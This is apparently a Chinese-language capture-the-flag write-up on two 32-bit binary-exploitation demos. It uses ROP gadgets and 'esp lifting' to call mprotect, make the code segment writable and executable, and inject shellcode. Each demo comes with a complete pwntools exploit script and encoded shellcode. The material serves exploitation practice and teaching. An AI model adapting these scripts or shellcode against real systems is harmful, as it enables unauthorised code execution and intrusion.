DEMO1—(pop-ret)
首先overview,checksec得只开了NX:
1 | Arch: i386-32-little |
在ida中也没看到链接libc
,所以ret2libc
行不通了。
栈不可执行又不能ret2libc,所以要考虑使用ROP
来控制执行流,题目提示mprotect
。
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
查看内存布局:1
2
3
4
5
6gdb-peda$ vm
Start End Perm Name
0x08048000 0x08049000 r-xp /mnt/hgfs/rop
0xf7770000 0xf7773000 r--p [vvar]
0xf7773000 0xf7774000 r-xp [vdso]
0xff93b000 0xff95c000 rw-p [stack]
再结合代码,发现我们无法找到栈的地址,所以也就不能给stack加可执行,但我们可以给code段
加可写权限,而且因为没开pie
,code地址是确定的,所以我们第一个目标就是用mprotect
修改code段权限。它的声明如下:
1 | int mprotect(void *addr, size_t len, int prot); |
需要指出的是,修改权限的内存区间(addr + len)必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址(能被0x1000整除),并且区间长度len必须是页大小(0x1000)的整数倍。
mprotect要通过system call来执行,也就是int 0x80
。调用号在x86中是0x7d
,而在x86-64
中是10
。关于system调用的介绍如下:
那么问题就来了,我们要合理的布置调用参数(eax,ebx,ecx,edx)。这时候ROP
就上场了,使用ROPgadget
查询下,得到:1
2
3
40x0804819c : pop eax ; ret
0x0804819e : pop ebx ; ret
0x080481a0 : pop ecx ; ret
0x080481a2 : pop edx ; ret
那么我们就能控制寄存器了,完整的payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51# -*- coding:utf-8 -*-
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = process('./demo1')
# 'a' * 4 * 12 + ret
padding = 'a' * 4 * 12
shellcode = ""
shellcode += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\x8b\xca\xa7\x79\x83\xee\xfc\xe2\xf4\xe1\xc1"
shellcode += "\xff\xe0\xd9\xac\xcf\x54\xe8\x43\x40\x11\xa4\xb9\xcf"
shellcode += "\x79\xe3\xe5\xc5\x10\xe5\x43\x44\x2b\x63\xc2\xa7\x79"
shellcode += "\x8b\xe5\xc5\x10\xe5\xe5\xd4\x11\x8b\x9d\xf4\xf0\x6a"
shellcode += "\x07\x27\x79"
pop_eax_ret = 0x0804819c
pop_ebx_ret = 0x0804819e
pop_ecx_ret = 0x080481a0
pop_edx_ret = 0x080481a2
int80 = 0x080480f6
buf = 0x08048000
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */
payload = padding + p32(pop_eax_ret) + p32(0x7d) # mprotect
payload += p32(pop_ebx_ret) + p32(buf)
payload += p32(pop_ecx_ret) + p32(0x1000)
payload += p32(pop_edx_ret) + p32(7)
payload += p32(int80)
payload += p32(pop_eax_ret) + p32(3) # sys_read
payload += p32(pop_ebx_ret) + p32(0)
payload += p32(pop_ecx_ret) + p32(buf)
payload += p32(pop_edx_ret) + p32(len(shellcode) + 100)
payload += p32(int80)
payload += p32(buf) # implement shellcode
log.debug("ready to hijick...")
pause()
p.sendline(payload)
log.debug("ready to inject shellcode...")
pause()
p.sendline(shellcode)
p.interactive()
mprotect调用前:
mprotect调用后,权限已经成功改掉:
DEMO2—(esp lifting)
这道题是上道题的增强版,背景都一样,但去除了上面可直接利用的pop ret
gadget。而生机在代码片段中的sys_write/sys_read
的布置中:
可以看到:1
2
3
4.text:08048102 mov ebx, [esp+fd] ; fd
.text:08048106 mov ecx, [esp+addr] ; addr
.text:0804810A mov edx, [esp+len] ; len
.text:0804810E int 80h ; LINUX - sys_read
这些操作可以帮我们控制各个寄存器,但eax
需要另外处理,因为sys_write/sys_read
写入或读取的长度会返回在eax
中,所以我们可以通过控制它们来控制eax的值,参考上面的system call调用图。
但问题是如何进行持久控制
,让程序流多跳转几次?
在ROPgadget中我找到一条比较有价值的gadget:add esp, 0x20 ; ret
。这个gadget可以让我们控制栈高度,虽然没有pop ret
直接,但是适合在有参数的函数调用下使用,多出来的部分还可以填充。这种攻击手法称为esp lifting
,原理如下:
1 | eplg: |
完整payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45# -*- coding:utf-8 -*-
from pwn import *
from cuteprint.cuteprint import PrettyPrinter
context(log_level = 'debug', arch = 'i386', os = 'linux')
pr = PrettyPrinter()
pr.print_title("PWN IT")
p = process('./demo2')
# 'a' * 16 + ret
padding = '\xff' * 16
shellcode = ""
shellcode += "\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\x8b\xca\xa7\x79\x83\xee\xfc\xe2\xf4\xe1\xc1"
shellcode += "\xff\xe0\xd9\xac\xcf\x54\xe8\x43\x40\x11\xa4\xb9\xcf"
shellcode += "\x79\xe3\xe5\xc5\x10\xe5\x43\x44\x2b\x63\xc2\xa7\x79"
shellcode += "\x8b\xe5\xc5\x10\xe5\xe5\xd4\x11\x8b\x9d\xf4\xf0\x6a"
shellcode += "\x07\x27\x79"
add_esp_ret = 0x08048198
set_ebcdx = 0x0804811A # 这里是 sys_write 函数的部分
code_addr = 0x08048000
write_msg = 0x08048115
read_msg = 0x080480FD
mprotect = 0x7d
payload = padding
# 设置 eax 为mprotext的调用号 125
payload += p32(write_msg) + p32(add_esp_ret) + p32(1) + p32(code_addr) + p32(mprotect)
# 设置 ebx ecx edx,并结合上步调用 mprotect
payload += 'a' * (0x20 - 0xc) + p32(set_ebcdx) + p32(add_esp_ret) + p32(code_addr) + p32(0x1000) + p32(7)
# 调用 sys_read 读取shellcode,并执行
payload += 'a' * (0x20 - 0xc) + p32(read_msg) + p32(code_addr) + p32(0) + p32(code_addr) + p32(len(shellcode) + 100)
pr.print_good("ready to hijick...")
pause()
p.sendline(payload)
pr.print_good("ready to inject shellcode...")
pause()
p.sendline(shellcode)
pr.print_good("DONE")
p.interactive()